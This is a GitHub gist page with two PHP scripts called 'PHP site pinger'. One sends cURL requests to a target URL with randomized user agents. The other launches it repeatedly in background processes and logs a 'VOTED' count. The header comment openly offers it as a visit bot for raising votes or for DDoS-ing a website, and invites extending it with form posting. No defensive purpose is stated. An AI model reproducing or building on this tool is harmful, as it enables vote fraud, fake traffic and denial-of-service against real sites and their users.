Skip to content

Instantly share code, notes, and snippets.

@raitocz
Last active August 29, 2015 14:23
Show Gist options
  • Save raitocz/be15d4ff4b23a5167d2f to your computer and use it in GitHub Desktop.
Save raitocz/be15d4ff4b23a5167d2f to your computer and use it in GitHub Desktop.
PHP site pinger
<?php
$url = $argv[1];
$cl = curl_init();
curl_setopt($cl, CURLOPT_URL, $url);
curl_setopt($cl, CURLOPT_USERAGENT, md5(rand(6713678, 8746316834)));
//curl_setopt($cl, CURLOPT_RETURNTRANSFER, true);
//curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
curl_exec($cl);
curl_close($cl);
exit(0);
<?php
/**
* PHP site pinger
*
* Use with caution. This script can take massive amount of RAM. You can use it
* as visit bot, to raise votes or DDOS some website. This script is intended to
* be extended by your needs, having only the basic abilities. In ping.php file
* you can easily uncomment line for adding form data.
*
* PHP version 5
*
* LICENSE: This source file is subject to version 3.01 of the PHP license
* that is available through the world-wide-web at the following URI:
* http://www.php.net/license/3_01.txt. If you did not receive a copy of
* the PHP License and are unable to obtain it through the web, please
* send a note to license@php.net so we can mail you a copy immediately.
*
* @author Raito Akehanareru <raito.akehanareru@gmail.com>
* @copyright 1997-2005 The PHP Group
* @license http://www.php.net/license/3_01.txt PHP License 3.01
* @version 1.0.0
* @link
*/
$repeat = 50; // How many times?
$wait = 0.1; // Time in seconds between each ping
$url = 'http://www.url.com/';
for ($r = 1; $r <= $repeat; $r++)
{
usleep($wait * 1000000);
shell_exec('php ping.php ' . $url . ' >log.txt 2>log.txt &');
print('[' . date('H:i:s') . '] - ' . '[VOTED: ' . $r . 'x times]' . PHP_EOL);
}
print('-----------------------------------------------------' . PHP_EOL);
print('- DONE -' . PHP_EOL);
exit(0);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment